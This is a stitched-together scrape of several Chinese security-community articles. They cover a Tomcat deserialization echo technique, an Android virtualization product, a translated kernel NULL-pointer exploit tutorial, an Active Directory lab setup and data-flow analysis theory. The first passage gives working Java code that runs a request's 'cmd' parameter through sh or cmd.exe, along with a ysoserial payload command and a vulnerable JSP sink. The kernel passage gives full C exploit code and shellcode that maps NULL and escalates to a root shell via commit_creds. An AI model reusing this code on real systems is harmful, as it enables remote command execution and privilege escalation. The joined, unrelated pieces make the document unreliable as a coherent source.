Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}
原本Contorller代码的逻辑是输出input部分的内容，我们所做的就是在原本的输出内容前面，添加cmd参数执行之后的结果。
需要刷新两次的原因是因为第一次只是通过反射去修改值，这样在之后的运行中就会cache我们的请求，从而也就能获取到response。
# 加入ysoserial
这样，这样只要稍加改造一下，擦去泛型的部分，用完整的类名代替原本的类名，就可以放入到ysoserial中。
中间莫名又踩了一些坑，嫌麻烦的师傅可以直接用已经改好的版本。
<https://github.com/kingkaki/ysoserial>
ysoserial的第二个参数是要执行的命令，由于这里可以直接从request获取，自由度更大，所以我将第二个参数改成了要执行的命令的param。
以`CommonsCollections2`为例，如下的方式就相当于创建了一个从cmd参数获取要执行的命令的payload。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho cmd
测试一下别的tomcat环境，以jsp为例，确保有`commons-collections4`的依赖
然后自己构造一个反序列化的环境
<%
try {
String input = request.getParameter("input");
byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
%>
可以看到内容成功的追加到了输出的body中。
# 一些局限性
回到标题，为什么是一个半通用的方法呢？
当时构造好了之后兴匆匆的跑了一波shiro的反序列化，死活不成功，debug了很久之后发现了一个问题。
shiro的rememberMe功能，其实是shiro自己实现的一个filter
在`org.apache.catalina.core.ApplicationFilterChain`的`internalDoFilter`中(省略一些无用的代码)
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
...
filter.doFilter(request, response, this);
} catch (...)
...
}
return;
}
// We fell off the end of the chain -- call the servlet instance
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
if (request.isAsyncSupported() && !servletSupportsAsync) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
Boolean.FALSE);
}
// Use potentially wrapped request from this point
if (...){
...
} else {
servlet.service(request, response);
}
} catch (...) {
...
} finally {
...
}
可以看到是先取出所有的的filter对当前请求进行拦截，通过之后，再进行cache request，再从`servlet.service(request,
response)`进入jsp的逻辑代码。
rememberMe功能就是ShiroFilter的一个模块，这样的话在这部分逻辑中执行的代码，还没进入到cache
request的操作中，此时的cache内容就是空，从而也就获取不到我们想要的response。
# 最后
ysoserial中所有用`createTemplatesImpl`生成payload的链都已加入了Tomcat回显的模式。
<https://github.com/kingkaki/ysoserial>
* CommonsCollections2TomcatEcho
* CommonsCollections3TomcatEcho
* CommonsCollections4TomcatEcho
感觉也不仅限于反序列化吧，一些拥有java代码执行的场景都通过这种方式，实现Tomcat的回显。
比较蛋疼的一点就是一些filter中执行的代码不适用，就很可能不适用于很多框架型的漏洞，但是对于开发人员写的Controller中的场景应该都是可以的。
技术比较菜，如果有师傅发现了更好的利用方式，或者一些文章中的疏漏，都可以一起探讨。 | 社区文章 |
# 安卓实现安卓-光速虚拟机技术内幕
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
光速虚拟机是基于安卓系统和ARM处理器架构实现的一套虚拟化技术，在安卓系统的用户态空间无需特殊权限实现了一套完整的安卓内核和硬件抽象层，能够在安卓APP内部运行另外一个安卓系统，虚拟机内部的APP和游戏运行性能能够接近真机的运行性能和兼容性。光速虚拟机也可以认为是一种安卓系统上的库操作系统（libos）。从行业的情况来看，微软和Google分别在不同系统上实现过类似的方案，微软DrawBridge是在Windows上实现Windows，以及其后续发展出来的WSL是Windows上实现linux，Google的gVisor则是linux上实现linux。光速虚拟机是通过安卓来实现安卓。光速虚拟机是市面上第一家在手机上实现完整安卓虚拟化的产品。
选择光速虚拟机作为研发方向主要考虑了如下三种场景：
**1） 游戏场景**
用户在玩游戏的时候需要多开游戏，或者息屏以后仍然希望游戏能够运行。
由于受到众所周知的原因，华为手机不能安装GooglePlay，外服游戏的用户也会遇到很大障碍。光速虚拟机内部可以预装GooglePlay和内置外服游戏的加速能力。
**2） 安全场景**
安全场景分为普通用户场景和企业场景。
普通用户在运行一些来路不明的APP的时候，担心隐私泄露、流氓广告的风险。而光速虚拟机将真机系统和虚拟系统实现了隔离，确保用户的信息不会被这些APP收集，也不会受到流氓广告的侵扰。
企业场景主要是安全管控能力，在移动办公领域，对企业办公APP的管控和防数据泄露，通常使用的方案是重打包或者沙箱方案（比如VirtualAPP），这些方案会存在兼容性、部署重、安全管控能力不足的问题。光速虚拟机实现了内核和硬件抽象层，具备可证明的安全性，能够实现对企业APP进行完整安全管控，并且是非侵入式方案，原理上能够达到更好的兼容性和更完整的安全性。
**3） 兼容性场景**
一些老的应用和游戏对新版本的安卓系统更新不及时，比如安卓10，或者即将升级的安卓11。光速虚拟机内部可以运行安卓4.4-安卓10系统和未来更高版本的安卓系统，目前外发的版本支持安卓7.1.2。这样能保证一些老的应用和游戏能够在新的安卓系统上运行起来。有点类似Windows操作系统的兼容模式。
**相关技术介绍**
团队分析了目前已经有的用户态虚拟化技术，挑选最具代表微软的Drawbridge&WSL和Google的gVisor，以及国内产商VMOS来进行介绍。
**1）Drawbridge &WSL介绍**
Drawbridge技术架构图：
微软基于这样一个背景来做Drawbridge：VM的虚拟化技术效率不高，而传统的OS虚拟化技术，如Linux
Container技术，安全性又不足，所以Drawbridge选择了一条两者兼顾的道路，把Kernel的内存状态放到了Windows
Container中，用户间的隔离更彻底，而各个Container之间依然共享一部分资源，所以相较VM虚拟化效率要高。
Drawbridge继续发展成为了支持linux的WSL。WSL则是通过Windows内核驱动来是实现linux内核的完整功能，不过技术原理上和Drawbridge有相关性。
**2）Google gVisor介绍**
Google gVisor技术架构图：
gVisor是用Go编写的用户空间内核，它实现了Linux内核系统调用的很大一部分。它包括一个称为runsc的开放容器标准（OCI）运行时，它在应用程序和主机内核之间提供隔离边界。
runsc运行时与Docker和Kubernetes集成，使运行沙盒容器变得简单。
**3） VMOS**
VMOS采用类似anbox的技术，没有实现完整的内核功能，而是基于现有安卓系统的内核,修改C库函数的基础上在安卓系统上运行另外一个安卓系统，这样实现的问题就是由于对系统调用很难实现完整截获，会引入一些兼容性问题，并且不能根治。
**光速虚拟机技术架构**
通过上面的分析我们知道，微软Drawbridge是在Windows上实现Windows，Google的gVisor则是linux上实现linux。光速虚拟机则是通过Android来实现Android，我们在安卓用户态实现了一个完整的安卓内核和安卓硬件抽象层。从工程角度来看，光速虚拟机比gVisor实现的困难度要大不少，手机终端的多样性远大于后台linux服务器版本的多样性，对性能的要求也更加严苛。光速虚拟机除了能在安卓上运行安卓，实现了跨系统的迁移层，具有很好的迁移性，能够在国产操作系统UOS、Linux、macOS和云上来运行安卓和linux程序。
**1，完整的安卓内核**
安卓内核基于linux内核，多了一些特殊设备比如binder的实现。光速虚拟机将真机安卓内核视为一种资源，在其基础上完整实现了内存管理，进程管理，文件系统和设备管理等安卓内核功能。对上层提供标准的安卓内核接口。这样安卓虚拟机内部运行的安卓系统将不依赖于手机内核的实现，可以实现在安卓5-安卓11上运行任意版本的安卓系统，这意味着可以在安卓5的手机上运行安卓7，或者安卓11。目前光速虚拟机外发发布版本主要支持安卓7。
从安全角度来看，相对于沙箱或者加固重打包方案，由于光速虚拟机是独立于主机的内核，能够实现更好的安全性和隔离性。也不会因为主机内核的漏洞导致APP之间的互相穿透行为。
**2，完整的硬件抽象层次**
光速虚拟机基于真机系统的安卓资源，实现了一个完整的硬件抽象层包含显示屏幕、输入输出设备、蓝牙等。这样能对虚拟机内部的APP使用硬件资源能够进行很强的管控。甚至可以的对屏幕打盲水印这样一些特殊安全能力。
**3，精简的安卓系统**
光速虚拟机目前会携带一个精简的安卓系统，目前系统是基于AOSP7.1.2精简而来，大小在170M左右，外发版本因为普通用户的一些需求会有200多M，未来比较方便扩展到安卓其他版本。
光速虚拟机实现过程中的主要技术难点：
**1） 系统调用的兼容性**
光速虚拟机内核对自身内部运行的APP是根据linux内核4.14的标准来实现的。
由于各个安卓系统所基于的linux内核版本不一致，各个厂商对内核也有会很多修改，光速虚拟机对真机内核使用的时候尽可能按照最少使用原则来，尽可能不使用新内核的新特性。这种方式对光速虚拟机内核实现的难度和复杂度都比较大，却能得到比较好的兼容性。
**2） 系统调用的完备性**
1、基于主操作系统内核来实现300多个系统调用，具有非常大的工程难度和工作量。
2、沙箱技术目前面临的最大问题是系统调用的完备性问题，沙箱通过HOOK
C库函数的方式拦截所有系统调用，对于一些加固加壳的应用或者游戏，这些加固的代码不通过C库直接调用系统调用，对于这些系统调用没有通用的HOOK办法来实现拦截，需要通过搜索特征码的方式来实现。沙箱技术可以通过seccomp来实现对系统调用的拦截（seccomp是linux的一种安全机制，可以设置条件接管应有的所有系统调用），但是由于地址随机化ASLR的原因，沙箱很难区分系统调用是来自于C库还是来自于应用自身的直接调用，意味着每一个系统调用都需要进出两次内核，性能开销很大。光速虚拟机由于拥有相对完整的内核实现，比较好的解决这个问题，即兼顾性能又能实现系统调用监控的完备性。
**3） TLS的处理**
TLS （Thread Local Storage）是操作系统比较重要的特性，线程本地存储。
本质上虚拟机是真机上的一个APP，虚拟机里面运行的APP包含的进程是真机上的进程。如果虚拟机进程使用真机的TLS，会导致从虚拟机进入真机或者从真机回到虚拟机出现数据混乱的情况。这时就需要进程在虚拟机内部TLS和真机TLS的切换过程。虚拟机需要完整实现虚拟机内部TLS到真机TLS的互相切换过程。
**4） 渲染的性能处理**
虚拟机包括安卓模拟器的渲染处理，一般是将虚拟系统内部的OpenGLES渲染指令通过管道的方案发送到窗口进程来完成渲染的处理。由于渲染传输的数据非常大，又是跨进程通信，导致会有比较大的性能损耗，用户在玩游戏的过程中会有延迟的感觉。光速虚拟机的渲染没有通过管道传输到渲染窗口，而是直接穿透虚拟机直接调用真机的渲染接口来完成渲染指令的计算，然后合成到渲染窗口，这样性能基本接近真机的渲染性能。
**5） 线程数量的控制**
华为手机为了提示EMUI的性能，对单个APP有线程数量限制，比如mate8之前的手机有500个线程的数量限制，这样会导致虚拟机里面如果打开多个APP会触发这个线程数量的限制（虚拟机本质上是一个APP）。为了解决这个问题，虚拟机采用了线程池的方案。在虚拟机内核里面建立一个虚拟CPU，虚拟CPU包含了一个真机的线程池，虚拟机里面的APP创建线程的时候，实际上并不对应真机上真正的线程，由虚拟机的虚拟CPU来完成对APP线程的调度。
**兼容性和性能评估**
安全虚拟手机在安卓内核基础上完整模拟了一个新的内核和硬件抽象层，性能、兼容性接近真机。
应用兼容性：
一个完整的安卓运行环境，技术原理上可以做到跟用户手机的兼容一致。光速虚拟机发布情况来看兼容市面上绝大部分应用和游戏。
手机兼容性：
光速虚拟机支持Android5.1-Android10的手机系统。内存方面，需要手机的内存大于等于2G
光速虚拟机在性能方面做了比较多的优化工作，实际测试来看，性能方面：
1，主流应用启动时间相比真机影响<5%
2，主流应用运行内存占用，CPU开销相比真机影响<5%
3, 主流游戏性能帧率影响，渲染一帧所花时间跟真机对比影响<5%
**光速虚拟机的进一步应用**
**移动端安全**
基于光速虚拟机引擎能力的安全虚拟手机，提供整体可信任的移动端数据安全整体保护方案，包含企业应用防护，移动设备管控，安全审计等功能。
与其他解决方案进行对比，主要优势：
1，安全虚拟手机有独立于手机系统的内核和硬件抽象层，安全虚拟手机的内核数据、进程管理、内存管理、文件系统、设备管理独立于手机系统，具备完整的安全性。现有SDK方案或者沙箱方案和手机系统共用一个内核和安卓框架层,企业应用存在和手机上的其他应用进行通信和数据交互的风险。
2，非侵入式方案，方便部署和管理，方便接入到第三方管理系统，完全不需要企业应用做任何修改，具备更好的兼容性。侵入式方案通常包含SDK方案或者加固方案，需要企业重新打包已有企业应用，存在兼容性以及应用管理问题。
3，特殊安全能力，由于安全虚拟手机的屏幕是一个虚拟的屏幕设备，通过控制屏幕上像素点的显示方式，支持屏幕盲水印，需要有特殊算法才能计算出盲水印的信息。
**跨平台迁移**
光速虚拟机具备很好的迁移性，不依赖于虚拟化技术、在主流系统平台包含国产操作系统UOS、Android、Linux、macOS、云上系统等运行Android和Linux应用程序。并且可以和Intel
CPU的SGX或者arm CPU的trustzone技术结合来完成可信计算。
**开放合作**
光速虚拟机除了产品自身外，正在和行业全方位合作，我们的官网：www.gsxnj.cn。
**参考链接**
1） <https://www.microsoft.com/en-us/research/project/drawbridge/>
2） <https://docs.microsoft.com/zh-cn/archive/blogs/wsl/>
3） <https://github.com/google/gvisor>
4） [www.gsxnj.cn](http://www.gsxnj.cn)
5） [www.vmos.com](http://www.vmos.com)
6） <https://anbox.io/>
7） <https://github.com/asLody/VirtualApp> | 社区文章 |
# 【技术分享】内核exploit——如何应对空指针异常现象
|
##### 译文声明
本文是翻译文章，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/kernel-exploitation-dereferencing-a-null-pointer/3850>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[紫曦归来](http://bobao.360.cn/member/contribute?uid=2937531371)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**什么是空指针异常？**
****
如果一个未初始化或零编号（zero-ed out）的指针被取消引用时，将会导致程序计数器/指令指针（PC/IP）指向0，从而导致内核崩溃！
当遇到上述情况，首先需检查是否启用了任何保护程序，如果启用了就将其全部关闭，包括管理员保护模式、数据执行保护模式（DEP /
NX）以及mmap_min_addr保护机制。
ring0层与ring3层有所区别（Intel的CPU将特权级别分为4个级别：RING0、RING1、RING2、RING3。Windows只使用其中的两个级别RING0和RING3，RING0只给操作系统用，RING3谁都能用）。由于计算机使用二进制，因此在ring3层操作过程中，我们仅需要关注如何追加一个shell命令，我们需要这个时间来修改权限。庆幸的是，目前仍存在一些内核结构，持有当前的进程权限。我们将尝试利用权限来进行root，并在处理完这些后再追加一个shell命令。
**如何提升权限？**
****
在进行提升权限操作前，我们需要知道我们需要做哪些事情：
每个进程信息都存储为一个进程描述符（task_struct）
下列是sched.h文件：
struct task_struct {
/* ... */
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
/* ... */
}
下列是cred.h文件：
struct cred {
/* ... */
kuid_tuid;/* real UID of the task */
kgid_tgid;/* real GID of the task */
kuid_tsuid;/* saved UID of the task */
kgid_tsgid;/* saved GID of the task */
kuid_teuid;/* effective UID of the task */
kgid_tegid;/* effective GID of the task */
/* ... */
}
下面我们将主要关注有效的用户身份证明（UID）任务。如果我们成功将其值设置为0，则当前任务将具有root权限！
**我们应该如何找到他们？**
****
可以利用一些内核符号。
一些功能可用于提升当前的进程权限，它们的地址是静态的，可以根据我们处理的内核重新生成：
**/proc/kallsyms, /proc/ksyms, /dev/ksyms..**
上述这些函数在cred.c.中。
extern int commit_creds(struct cred *);
/* ... */
extern struct cred *prepare_kernel_cred(struct task_struct *);
我们可以看到， **prepare_kernel_cred()** 函数的返回值类型为 **struct cred *** ，之后再以此作为参数传递给
**commit_creds()** ，这样就可以将我们新获得的权限分配给当前的进程！
结论：可以通过 **“commit_creds(prepare_kernel_cred(0))”** 命令来提升权限;
**了解漏洞并学会触发这些漏洞**
在进行内核开发前，我们需要知道如何触发漏洞，还需要知道在什么情况下指针会被取消。
**解决内核威胁问题**
****
我们首先需要检查保护程序
如上图所示，所有的保护措施都出于关闭状态。
在“ **tostring_write()** ”函数里，我们可以看到这些命令应该始终以10'*'开头。
当这个内核模块被加载时，它会在每次运行时启动结构，每次运行都会启动一次。
如上图所示，我们不难发现这会启动“tostring_create()”。当在“tostring_s struct!”下设置函数指针时，该功能就会响应
这一点非常重要，请谨记于心！因此，这两个指针在每次运行时都被设置一次（或者需要的话）。
现在我们轻易地就能辨认出漏洞的函数，如下所示：
static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
char *bufk;
int i,j;
printk(KERN_INFO "Tostring: write()n");
bufk = kmalloc(len + 1, GFP_DMA);
if (bufk){
if (copy_from_user(bufk, buf, len))
return -EFAULT;
bufk[len] = '';
i=0;
while(i <len) {
for (j=0;(j<10) && (bufk[j]=='*');j++);
if (j == 10) {
for (j=i+10;(bufk[j]!='') && (bufk[j] != 'n');j++);
bufk[j]='';
printk("Tostring: Cmd %sn",bufk+i+10);
switch(bufk[i+10]) {
case 'H':
tostring->tostring_read= tostring_read_hexa;
break;
case 'D':
tostring->tostring_read= tostring_read_dec;
break;
case 'S':
printk("Tostring: Delete stackn");
kfree(tostring->tostring_stack);
tostring->tostring_stack=NULL;
tostring->tostring_read=NULL;
tostring->pointer=0;
tostring->pointer_max=0;
break;
case 'N':
printk("Tostring: Stack create with size %ldn",local_strtoul(bufk+i+11,NULL,10));
if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10));
if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stackn");
break;
}
i=j+1;
}
else {
printk("tostring: insertion %lldn",*((long long int *) (bufk+i)));
if (tostring->pointer >= tostring->pointer_max)
printk(KERN_INFO "Tostring: Stack fulln");
else
tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i));
i = i+sizeof(long long int);
}
}
kfree(bufk);
}
return len;
}
正如我们所见，在“ten '*'”后会出现一个“S”。这就会使函数指针tostring_read无效，而这一点对我们有力。
但是，在将其设置为null之后，我们需要读取它，以使其被取消引用。因此，我们需要读取该文件，以触发启用“tostring_read()！”命令。
我们开始编写开发程序。我们之前使用Python语言进行编写，现在我们换成C语言。
我们先写一个较为简单的以触发命令和清除函数指针。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
/**/
#define vulnerable_device "/dev/tostring"
/**/
void main(void){
int fd;
char payload[15];
/**/
memset(payload, '*', 10);
/**/
payload[10] = 'S';
payload[11] = 0;
/**/
fd = open(vulnerable_device, O_RDWR);
if(fd < 0){
printf("Couldn't open device!");
}
/**/
write(fd, payload, 12);
}
目前一切都比较顺利，但我们仍需通过读取文件使其取消引用。
**read(fd, 0, 1);**
我们做到了，我们将其IP指针设置为0
幸运的是，mmap_min_addr保护处于关闭状态。 我们可以在NULL中分配一个小区域，并放置我们的shellcode来提升权限。
现在就可以从“ **/proc/kallsyms!** ”中获得“prepare_kernel_cred”和“commit_creds”地址。
我将使用rasm2做一个shellcode：
以下是shellcode：
在我们的开发程序中取消指针前，我们就可以开始添加shellcode：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
/**/
#define vulnerable_device "/dev/tostring"
/**/
void pop_shell(){
system("sh");
}
/**/
void main(void){
int fd;
char payload[15];
char shellcode[15] = "x31xc0xe8xe9x11x07xc1xe8x74x0ex07xc1xc3";
/**/
memset(payload, '*', 10);
/**/
payload[10] = 'S';
payload[11] = 0;
/**/
fd = open(vulnerable_device, O_RDWR);
if(fd < 0){
printf("Couldn't open device!");
}
write(fd, payload, 12);
/**/
mmap(NULL, sizeof(shellcode), PROT_EXEC |PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0);
memcpy(NULL, shellcode, sizeof(shellcode));
/**/
read(fd, 0, 1);
/**/
pop_shell();
}
在完成后，开始运行
以下是root shell
希望文章能对大家有所启发和帮助！ | 社区文章 |
## 0X00 前言
我一直想做一个大一点的内网环境的，配置如下：
有一个父域
有一个子域名
信任域
一些web服务
一些AV
数据库
*nix
权限提升
......
> 过年回家没网，win2012我没下，只能先用08当DC。
> 我本人没有服务器，一般来说应该用exsi部署,主要是想让不熟悉AD的人去关注和理解它，后续就可以执行一些基本的操作，枚举和攻击。
PS：我最后会把环境发出来
### 以不同角度看AD
可能在一些企业内网里面，管理员选择性的偷懒，并没有添加安全策略去强化AD环境，造成安全问题。
与此同时，攻击者也会想方设法的去绕过这些安全策略，攻防永不停歇。
## 0x01 基本概念
### AD （Active Directory）
> AD是英文词汇Active Directory活动目录的缩写活动目录
>
> 1) 活动目录（Active Directory）是面向Windows Standard Server、Windows Enterprise
> Server以及 Windows Datacenter Server的目录服务。
> 2) Active Directory存储了有关网络对象的信息，并且让管理员和用户能够轻松地查找和使用这些信息。
> 3) Active Directory使用了一种结构化的数据存储方式，并以此作为基础对目录信息进行合乎逻辑的分层组织。
> 4)Microsoft Active Directory 服务是Windows
> 平台的核心组件，它为用户管理网络环境各个组成要素的标识和关系提供了一种有力的手段。
> \----来自百度百科
它就相当于一个存储库，可存储与组织的用户，计算机，服务器，资源等相关的所有数据，并使系统管理员可以轻松管理。
所有的对象都是在一个域里面，名称是唯一的。
emmm，我画的一个图。
域名也可以作为一个DNS服务器。
共享同一个的域名的连续AD domain叫做`AD
Tree`,树中的对象是有层次结构的，比如有一台计算机`secwing`在`pentest.lab`的子域`huahua`中。
他的FQDN(FQDN：Fully Qualified Domain Name 全限定域名)就是:secwing.huahua.pentest.lab
这些的集合我们称之为林，即使只有一个域，域也始终是林的一部分。林由多棵树组成，与树不同，林可以有几个不连续的命名空间，
**Active Directory域控制器**
`PS：AD DS：Active Directory域服务`
用户登陆到域时，AD 域控制器会进行认证，认证需要的就是`AD DS`,
**AD 数据库**
用户的身份认证信息以及计算机，组，服务等等的信息都存储在Active
Directory数据库中，该数据库由名为ntds.dit的单个文件组成。默认情况下，它存储在%SYSTEMROOT%\NDTS文件夹中。
**LDAP**
LDAP代表轻量级目录访问协议。该服务负责跟踪网络上的内容。
**AD DNS**
DNS对于Active
Directory的工作非常重要。AD需要多个DNS记录来确定域上可用的服务以及提供哪些服务。在AD中配置DNS时，将自动管理这些记录。
**Kerberos**
Kerberos是允许您使用一个用户名和密码登录整个域中的多台计算机的服务。它基本上处理整个域中的单点登录.
**GPP-组策略**
组策略用于在机器级别定义用户，安全和网络策略。管理员可以将组策略从集中位置应用到整个域或少数计算机/用户。
## 0x02 Active Directory域控制器实验室
由于资源限制，我就设置了两台，电脑空间少，但也足够模拟AD攻击。
* 域控制器
windows 2012
在生产环境中，有多个域控制器，如ADC(附加域控制器），RODC(只读域控制器），CDC(子域控制器）。
* 客户端机器
win7和win10
* 成员服务器
* 如SQL服务器，文件服务器，FTP服务器，IIS服务器，代理服务器,防病毒服务器等。
建立虚拟机的时候，DC的网络模式用仅主机模式，然后只有DC和代理服务器能访问互联网，其他客户端将通过代理服务器访问互联网，因此我们也可以收集日志。
* 分配ip：
`win+r：ncpa.cpl`
* 更改名称
`win+r：sysdm.cpl`
* 安装ADDS
点击添加角色和功能
点击基于角色或功能的安装。
继续下一步
* 提升为DC
看图吧
设置DSRM密码，域服务出现问题的时候通过这个密码还原。
一直下一步，前面更改完计算机名称后再安装一遍，会检查一些先决条件。
安装完成之后会自动重启，
## 0x03 Powershell设置域控制器
我们也可以通过命令的方式设置域控制器
以管理员身份运行PowerShell并输入以下命令：
安装`AD DS Role`
Install-windowsFeature AD-Domain-Services
安装ADDS RSAT功能：
Add-windowsfeature RSAT-ADDS
将服务器提升为域控制器
Import-Module ADDSDeployment
这个命令没回显。
添加一个新的林：
Install-ADDSForest
## 0x04 添加计算机进入域
ip:10.10.0.3
DNS:10.10.0.2
加入域
OK
可以将几个客户端添加到域中。
看看组策略
认证的用户可以将workstation添加到域
域用户可以在域中添加最多10个系统。
这是因为ms-DS-MachineAccountQuota属性 。默认情况下，它设置为10.如果我们将其更改为0，则将禁用此限制。
## 0x05 将用户添加到Active Directory Domain
打开ADUC:
win+r:dsa.msc
设置好密码即可
cmd的方式
net user username password /add /domain
Powershell的方式
New-ADUser -Name "Winsaaf Man" -DisplayName "Winsaaf Man" -SamAccountName “winsaaf.man” -UserPrincipalName “[email protected]” -GivenName “winsaaf” -Surname "man" -AccountPassword (Read-host -AsSecureString “Enter Password”) -Enabled $true -server scriptdotsh.local
批量添加用户
使用powershell脚本从CSV文件导入用户的详细信息。运行此脚本时，它会在域中创建多个用户帐户。
通过访问[此链接](https://gallery.technet.microsoft.com/office/Create-Contoso-Users-in-3e2f38f2/view/Discussions)从Microsoft的repo下载脚本和csv文件。
**DHCP服务器**
AD环境中需要动态配置协议服务器，以减少通过输入静态IP并加入域来配置每台计算机的手动操作。如果域中有DHCP服务器，则所有客户端计算机都会自动获取IP地址和DNS服务器信息。要安装它，只需从服务器管理器安装`DHCP服务器`角色。您还可以使用集中管理控制台来管理DHCP客户端。要打开控制台，请在RUN中键入dhcpmgmt.msc.
由于我们的目的是设置一个小的AD环境来执行测试，并且客户端机器不多，我们也可以跳过DHCP设置并手动分配IP地址。
**AD集成DNS服务器设置**
DNS是Active
Directory的主要名称解析服务。可以通过访问服务器管理器并单击`添加角色和功能`部分来安装此角色。选择`DNS`。这将在您域控制器上安装DNS服务器角色，它将作为域环境的DNS服务器，并称为AD集成DNS服务器。还可以添加用于负载均衡的辅助DNS服务器。要打开DNS管理器，请在RUN中键入dnsmgmt.msc，您将获得类似下面的窗口：
## 0x06 模块流程
环境流程
在下一部分中，我将添加更多的服务器，如SQL服务器，代理服务器和身份验证。创建子域并在域之间建立信任并实施组策略然后限制环境。
接下来就是AD侦察，利用错误配置和基于DC的攻击和使用Powershell，WMIC进行枚举，执行Kerberos攻击，滥用SQL服务器信任等。
我也是通过这个作者的文章跟着走一遍，后面我会自己复现一些漏洞，结合cs和msf。
[原文链接](https://scriptdotsh.com/index.php/2018/08/26/active-directory-penetration-dojo-setup-of-ad-penetration-lab-part-2/) | 社区文章 |
# 程序分析理论 第二部分 数据流分析 过程内分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文是程序分析理论第三篇，数据流分析中的过程内分析
## 过程内分析 intraprocedural Analysis
### 定义 definition
在过程内分析中，我们会对程序和标签进行一定处理。和RDentry RDexit类似，我们将程序每一句代码执行划分成初始和结束。分别用 init : Stmt
-> Lab ，final : Stmt -> f (Lab)表示。
将代码块本身用 blocks( ) 表示，同时给予方程定义 对代码块进行细化分解。对独立语句用{ } 包裹，对复杂语句依旧用 blocks( )
表示，同时对细化后的结果进行并运算。
此时，我们可以对某一个代码执行过程进行描述 ： Labels(S) = { l | [B]^l ∈ blocks(S)}
执行完 S 代码后，所有数据构成的表格 由进入该语句前数据表格和执行过程中改变的数据表格组成。也就是说 Label 由 init 和 final 共同组成。
### 流 flows
一如之前的思路，描述完语句之后，还要描述语句之间的逻辑关系。而流就是数据流分析的逻辑关系。面对单纯赋值的语句或者没有操作的语句，它的流就是空。面对代码块，它的流包括代码的执行流，以及输入输出流。
至此，数据流分析的构成要素已经全部提出。
### 一个例子 An example
我们来用一个例子加深理解
我们将这整个流程图看作一个整体进行分析。用Example作为整段代码的标签。
首先简单用标签作方程右值
init(Example) = 1 final(Example) = {2} Labels(Example) = {1,2,3,4}
将流简单的表示为集合 {(1,2),(2,3),(3,4),(4,2)}
接下来进行方程化
Labels (Example) = {init(Example)} ∪ { l | ( l , l’ ) ∈ flow(Example) } ∪ { l’
| ( l , l’ ) ∈ flow(Example)}
一眼看上去可能会疑惑为什么是这样，我们来分析一下。
Labels 是 包含整个代码执行过后各变量值的表格
而变量由进入该流程前的表达式以及流程内部表达式决定。也就是说，Labels = init ∪ flow
flow是由(1,2),(2,3),(3,4),(4,2)组成的集合输入是1，输出是2。我们将while do和z:=1分开，flow (z:=1) = 空
flow(while do ) = flow (3,4) ∪ { ( 2,init (3,4) ) } ∪ { ( final(3,4) , 2 ) }
flow(3 , 4) = flow(3) ∪ flow(4) ∪ { final(3) , init(4) }
flow(Example) = { final(3) , init(4) } ∪ { ( 2,init (3,4) ) } ∪ { ( final(3,4)
, 2 ) }
上面等式右侧六个元素是程序运行过程中记录改变的变量的表格
